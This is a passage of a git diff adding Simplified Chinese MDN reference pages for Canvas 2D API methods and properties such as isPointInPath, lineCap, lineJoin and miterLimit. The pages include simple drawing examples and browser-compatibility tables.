{{non-standard_inline}} CanvasRenderingContext2D.demote()
+
这个方法会引起当前的上下文使用后端的硬件加速作为软件的备选方案。所有的状态都会被保留。
+
+ +

IE 浏览器

+ +
+
{{non-standard_inline}} CanvasRenderingContext2D.msFillRule
+
应用的填充规则 。必须是 evenodd 或者 nonzero (默认)。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#2dcontext", "CanvasRenderingContext2D")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/ispointinpath/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/ispointinpath/index.html new file mode 100644 index 0000000000..bd95a9038a --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/ispointinpath/index.html @@ -0,0 +1,206 @@ +--- +title: CanvasRenderingContext2D.isPointInPath() +slug: Web/API/CanvasRenderingContext2D/isPointInPath +translation_of: Web/API/CanvasRenderingContext2D/isPointInPath +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.isPointInPath()是 Canvas 2D API 用于判断在当前路径中是否包含检测点的方法

+ +

语法

+ +
boolean ctx.isPointInPath(x, y);
+boolean ctx.isPointInPath(x, y, fillRule);
+
+boolean ctx.isPointInPath(path, x, y);
+boolean ctx.isPointInPath(path, x, y, fillRule);
+
+ +

参数

+ +
+
x
+
检测点的X坐标
+
y
+
检测点的Y坐标
+
fillRule
+
用来决定点在路径内还是在路径外的算法。
+ 允许的值: + +
+
path
+
{{domxref("Path2D")}}应用的路径。
+
+ +

返回值

+ +
+
{{jsxref("Boolean")}}
+
一个Boolean值,当检测点包含在当前或指定的路径内,返回 true;否则返回 false。
+
+ +

示例

+ +

使用 isPointInPath 方法

+ +

这是一段简单的代码片段,使用 isPointinPath 方法检查某点是否在当前的路径内。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();
+console.log(ctx.isPointInPath(10, 10)); // true
+
+ +

修改下面的代码, 在线查看 canvas的变化并在你的 控制台 中观察日志信息:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();
+console.log(ctx.isPointInPath(10, 10)); // true</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-ispointinpath", "CanvasRenderingContext2D.isPointInPath")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Path parameter{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(31) }}{{ CompatNo }}{{ CompatVersionUnknown() }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Path parameter{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatGeckoMobile(31) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Compatibility 注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/ispointinstroke/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/ispointinstroke/index.html new file mode 100644 index 0000000000..8732970d18 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/ispointinstroke/index.html @@ -0,0 +1,193 @@ +--- +title: CanvasRenderingContext2D.isPointInStroke() +slug: Web/API/CanvasRenderingContext2D/isPointInStroke +tags: + - isPointInStroke + - 方法 + - 检测 +translation_of: Web/API/CanvasRenderingContext2D/isPointInStroke +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.isPointInStroke()是 Canvas 2D API 用于检测某点是否在路径的描边线上的方法。

+ +

语法

+ +
boolean ctx.isPointInStroke(x, y);
+boolean ctx.isPointInStroke(path, x, y);
+
+ +

参数

+ +
+
x
+
检测点的X坐标。
+
y
+
检测点的Y坐标。
+
path
+
{{domxref("Path2D")}} 路径。
+
+ +

返回值

+ +
+
{{jsxref("Boolean")}}
+
一个布尔值,当这个点在路径的描边线上,则返回true,否则返回false。
+
+ +

示例

+ +

使用isPointInStroke方法

+ +

这只是一个使用 isPointInStroke 方法的简单的代码片段,用于检测一个点是否在路径的描边线上

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();
+console.log(ctx.isPointInStroke(10, 10)); // true
+
+ +

修改线面的代码,在线查看 canvas 的变化,并在你的控制台查看日至信息:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();
+console.log(ctx.isPointInStroke(10, 10)); // true</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-ispointinstroke", "CanvasRenderingContext2D.isPointInStroke")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Path parameter{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(31) }}{{ CompatNo }}{{ CompatVersionUnknown() }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Path parameter{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatGeckoMobile(31) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/linecap/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/linecap/index.html new file mode 100644 index 0000000000..e3772f362a --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/linecap/index.html @@ -0,0 +1,217 @@ +--- +title: CanvasRenderingContext2D.lineCap +slug: Web/API/CanvasRenderingContext2D/lineCap +translation_of: Web/API/CanvasRenderingContext2D/lineCap +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.lineCap 是 Canvas 2D API 指定如何绘制每一条线段末端的属性。有3个可能的值,分别是:butt, round and square。默认值是 butt。

+ +

参见 Canvas Tutorial 中的 Applying styles and color 章节。

+ +

语法

+ +
ctx.lineCap = "butt";
+ctx.lineCap = "round";
+ctx.lineCap = "square";
+ +

选项

+ +
+
butt
+
线段末端以方形结束。
+
round
+
线段末端以圆形结束。
+
square
+
线段末端以方形结束,但是增加了一个宽度和线段相同,高度是线段厚度一半的矩形区域。
+
+ +

示例

+ +

使用 lineCap 属性

+ +

这是一段简单的代码片段,使用 lineCap 属性绘制以圆形结尾的线段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(0,0);
+ctx.lineWidth = 15;
+ctx.lineCap = "round";
+ctx.lineTo(100, 100);
+ctx.stroke();
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

lineCap 例子

+ +

在这个例子中绘制了3条线段, 每条线段都设置了不同的 lineCap 属性值。通过2条导航线能够精确地看到3条已绘制线段之间的不同。 每条线段的顶端和末端都能在导航线上准确的反映出来。

+ +

左侧的线段使用了默认值 butt , 和导航线是完全平齐的。 第二条线段使用了 round 选项,在线段末端增加了一个半径为线短宽度一半的半圆。右侧的线段使用了 square 选项,增加了一个宽度和线段相同,高度是线段厚度一半的矩形区域。

+ +
var ctx = document.getElementById('canvas').getContext('2d');
+var lineCap = ['butt','round','square'];
+
+// Draw guides
+ctx.strokeStyle = '#09f';
+ctx.beginPath();
+ctx.moveTo(10,10);
+ctx.lineTo(140,10);
+ctx.moveTo(10,140);
+ctx.lineTo(140,140);
+ctx.stroke();
+
+// Draw lines
+ctx.strokeStyle = 'black';
+for (var i = 0; i < lineCap.length; i++) {
+  ctx.lineWidth = 15;
+  ctx.lineCap = lineCap[i];
+  ctx.beginPath();
+  ctx.moveTo(25+i*50,10);
+  ctx.lineTo(25+i*50,140);
+  ctx.stroke();
+}
+
+ + + +

{{EmbedLiveSample("A_lineCap_example", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linecap", "CanvasRenderingContext2D.lineCap")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ + + + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/linedashoffset/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/linedashoffset/index.html new file mode 100644 index 0000000000..44b8c1ad65 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/linedashoffset/index.html @@ -0,0 +1,162 @@ +--- +title: CanvasRenderingContext2D.lineDashOffset +slug: Web/API/CanvasRenderingContext2D/lineDashOffset +tags: + - Canvas + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D/lineDashOffset +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.lineDashOffset 是 Canvas 2D API 设置虚线偏移量的属性,例如可以实现 “蚂蚁线“ 的效果。

+ +

语法

+ +
ctx.lineDashOffset = value;
+
+ +
+
value
+
偏移量是float精度的数字。 初始值为 0.0。
+
+ +

示例

+ +

使用 lineDashOffset 属性

+ +

这是一段简单的代码片段,使用 lineDashOffset 属性绘制虚线。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.setLineDash([4, 16]);
+ctx.lineDashOffset = 2;
+
+ctx.beginPath();
+ctx.moveTo(0,100);
+ctx.lineTo(400, 100);
+ctx.stroke();
+
+ +

修改下面的代码并在线查看 canvas 变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code" style="height: 120px">
+ctx.setLineDash([4, 16]);
+ctx.lineDashOffset = 2;
+
+ctx.beginPath();
+ctx.moveTo(0,100);
+ctx.lineTo(400, 100);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 380) }}

+ +

“蚂蚁线”

+ +

”蚂蚁线“效果是一种动画技巧,经常出现在计算机绘图程序的套索工具中。 它能帮助用户根据图片背景动态变化的边界来区分选择的边界。

+ + + +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var offset = 0;
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ctx.setLineDash([4, 2]);
+  ctx.lineDashOffset = -offset;
+  ctx.strokeRect(10,10, 100, 100);
+}
+
+function march() {
+  offset++;
+  if (offset > 16) {
+    offset = 0;
+  }
+  draw();
+  setTimeout(march, 20);
+}
+
+march();
+ +

{{ EmbedLiveSample('Marching_ants', 700, 200) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linedashoffset", "CanvasRenderingContext2D.lineDashOffset")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.lineDashOffset")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/linejoin/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/linejoin/index.html new file mode 100644 index 0000000000..df108cd01a --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/linejoin/index.html @@ -0,0 +1,213 @@ +--- +title: CanvasRenderingContext2D.lineJoin +slug: Web/API/CanvasRenderingContext2D/lineJoin +translation_of: Web/API/CanvasRenderingContext2D/lineJoin +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.lineJoin 是 Canvas 2D API 用来设置2个长度不为0的相连部分(线段,圆弧,曲线)如何连接在一起的属性(长度为0的变形部分,其指定的末端和控制点在同一位置,会被忽略)。

+ +

参见 Canvas Tutorial 中的 Applying styles and color 章节。

+ +

语法

+ +
ctx.lineJoin = "bevel";
+ctx.lineJoin = "round";
+ctx.lineJoin = "miter";
+ +

选项

+ +

此属性有3个值: round, bevel and miter。默认值是 miter。注意:如果2个相连部分在同一方向,那么lineJoin不会产生任何效果,因为在那种情况下不会出现连接区域。

+ +

+ +
+
round
+
通过填充一个额外的,圆心在相连部分末端的扇形,绘制拐角的形状。 圆角的半径是线段的宽度。
+
bevel
+
在相连部分的末端填充一个额外的以三角形为底的区域, 每个部分都有各自独立的矩形拐角。
+
miter
+
通过延伸相连部分的外边缘,使其相交于一点,形成一个额外的菱形区域。这个设置可以通过 {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}} 属性看到效果。
+
+ +

示例

+ +

使用 lineJoin 属性

+ +

这是一段使用 lineJoin 属性的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.lineWidth = 10;
+ctx.lineJoin = "round";
+ctx.beginPath();
+ctx.moveTo(0,0);
+ctx.lineTo(200, 100);
+ctx.lineTo(300,0);
+ctx.stroke();
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 380) }}

+ +

lineJoin 例子

+ +

下面的例子绘制了3条不同的路径,演示 lineJoin 属性3种不同的设置。

+ +
var ctx = document.getElementById('canvas').getContext('2d');
+var lineJoin = ['round','bevel','miter'];
+ctx.lineWidth = 10;
+
+for (var i = 0; i < lineJoin.length; i++) {
+  ctx.lineJoin = lineJoin[i];
+  ctx.beginPath();
+  ctx.moveTo(-5,5+i*40);
+  ctx.lineTo(35,45+i*40);
+  ctx.lineTo(75,5+i*40);
+  ctx.lineTo(115,45+i*40);
+  ctx.lineTo(155,5+i*40);
+  ctx.stroke();
+}
+
+ + + +

{{EmbedLiveSample("A_lineJoin_example", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linejoin", "CanvasRenderingContext2D.lineJoin")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ + + + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/lineto/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/lineto/index.html new file mode 100644 index 0000000000..f171b170fd --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/lineto/index.html @@ -0,0 +1,166 @@ +--- +title: CanvasRenderingContext2D.lineTo() +slug: Web/API/CanvasRenderingContext2D/lineTo +translation_of: Web/API/CanvasRenderingContext2D/lineTo +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.lineTo() 是 Canvas 2D API 使用直线连接子路径的终点到x,y坐标的方法(并不会真正地绘制)。

+ +

语法

+ +
void ctx.lineTo(x, y);
+
+ +

参数

+ +
+
x
+
直线终点的 x 轴坐标。
+
y
+
直线终点的 y 轴坐标。
+
+ +

示例

+ +

使用 lineTo 方法

+ +

这是一段使用 lineTo 方法的简单的代码片段。 使用 {{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} 绘制路径的起始点, 使用 {{domxref("CanvasRenderingContext.moveTo", "moveTo()")}}移动画笔, 使用 {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}} 方法真正地画线。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(0,0);
+ctx.lineTo(100, 100);
+ctx.stroke();
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.beginPath();
+ctx.moveTo(0,0);
+ctx.lineTo(100, 100);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-lineto", "CanvasRenderingContext2D.lineTo")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/linewidth/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/linewidth/index.html new file mode 100644 index 0000000000..12216cccb7 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/linewidth/index.html @@ -0,0 +1,101 @@ +--- +title: CanvasRenderingContext2D.lineWidth +slug: Web/API/CanvasRenderingContext2D/lineWidth +tags: + - API + - Canvas +translation_of: Web/API/CanvasRenderingContext2D/lineWidth +--- +
{{APIRef}}
+ +

The CanvasRenderingContext2D.lineWidth 是 Canvas 2D API 设置线段厚度的属性(即线段的宽度)。

+ +
+

Note:线可以通过{{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}, {{domxref("CanvasRenderingContext2D.strokeRect()", "strokeRect()")}}, 和{{domxref("CanvasRenderingContext2D.strokeText()", "strokeText()")}} 方法绘制。

+
+ +

语法

+ +
ctx.lineWidth = value;
+ +

选项

+ +
+
value
+
描述线段宽度的数字。 0、 负数、 {{jsxref("Infinity")}} 和 {{jsxref("NaN")}} 会被忽略。
+
+ +

示例

+ +

改变线宽

+ +

此示例使用15个单位的线宽绘制直线和矩形。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.lineWidth = 15;
+
+ctx.beginPath();
+ctx.moveTo(20, 20);
+ctx.lineTo(130, 130);
+ctx.rect(40, 40, 70, 70);
+ctx.stroke();
+
+ +

结果

+ +

{{ EmbedLiveSample('改变线宽', 700, 180) }}

+ +

更多示例

+ +

有关此属性的更多示例和说明,请参阅在“画布教程”中的使用样式和颜色

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linewidth", "CanvasRenderingContext2D.lineWidth")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{Compat("api.CanvasRenderingContext2D.lineWidth")}}

+ + + + + +

Gecko-specific 注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/measuretext/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/measuretext/index.html new file mode 100644 index 0000000000..071b712b0d --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/measuretext/index.html @@ -0,0 +1,71 @@ +--- +title: CanvasRenderingContext2D.measureText() +slug: Web/API/CanvasRenderingContext2D/measureText +tags: + - API + - Canvas + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D/measureText +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.measureText() 方法返回一个关于被测量文本{{domxref("TextMetrics")}} 对象包含的信息(例如它的宽度)。

+ +

语法

+ +
ctx.measureText(text);
+ +

参数

+ +
+
text
+
需要测量的{{jsxref("String")}} 。
+
+ +

返回值

+ +

{{domxref("TextMetrics")}} 对象。

+ +

示例

+ +

给出 {{HTMLElement("canvas")}} 元素:

+ +
<canvas id="canvas"></canvas>
+
+ +

使用下面的代码,你能得到 {{domxref("TextMetrics")}} 对象:

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+var text = ctx.measureText("foo"); // TextMetrics object
+text.width; // 16;
+
+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-measuretext", "CanvasRenderingContext2D.measureText")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{Compat("api.CanvasRenderingContext2D.measureText")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/miterlimit/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/miterlimit/index.html new file mode 100644 index 0000000000..0a888e19e8 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/miterlimit/index.html @@ -0,0 +1,166 @@ +--- +title: CanvasRenderingContext2D.miterLimit +slug: Web/API/CanvasRenderingContext2D/miterLimit +translation_of: Web/API/CanvasRenderingContext2D/miterLimit +--- +
{{APIRef}}
+ +

The CanvasRenderingContext2D.miterLimit 是 Canvas 2D API 设置斜接面限制比例的属性。 当获取属性值时, 会返回当前的值(默认值是10.0 )。当给属性赋值时, 0、负数、 {{jsxref("Infinity")}} 和 {{jsxref("NaN")}} 都会被忽略;除此之外都会被赋予一个新值。

+ +

参见 Canvas Tutorial 中的 Applying styles and color 章节。

+ +

语法

+ +
ctx.miterLimit = value;
+ +

选项

+ +
+
value
+
斜接面限制比例的的数字。 0、负数、{{jsxref("Infinity")}} 和 {{jsxref("NaN")}} 都会被忽略。
+
+ +

简释

+ +
ctx.lineJoin = "miter"  // "miter" >   "round" )   "bevel" ]  
+ +

只有当 lineJoin 显示为 ">"  时,miterLimit 才有效。边角的角度越小,斜接长度就会越大。为了避免斜接长度过长,我们可以使用 miterLimit 属性。如果斜接长度超过 miterLimit 的值,边角会以 lineJoin 的 " ] " 类型来显示

+ +

示例

+ +

使用 miterLimit 属性

+ +

查看 Canvas Tutorial 中的 Applying styles and color 章节,获取更多信息。

+ + + +

{{EmbedLiveSample("A_demo_of_the_miterLimit_property", "400", "180", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-miterlimit", "CanvasRenderingContext2D.miterLimit")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ + + + + +

Gecko-specific 注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/moveto/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/moveto/index.html new file mode 100644 index 0000000000..eb99c51967 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/moveto/index.html @@ -0,0 +1,166 @@ +--- +title: CanvasRenderingContext2D.moveTo() +slug: Web/API/CanvasRenderingContext2D/moveTo +translation_of: Web/API/CanvasRenderingContext2D/moveTo +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.moveTo() 是 Canvas 2D API 将一个新的子路径的起始点移动到(x,y)坐标的方法。

+ +

语法

+ +
void ctx.moveTo(x, y);
+
+ +

参数

+ +
+
x
+
点的 x 轴。
+
y
+
点的 y 轴。
+
+ +

示例
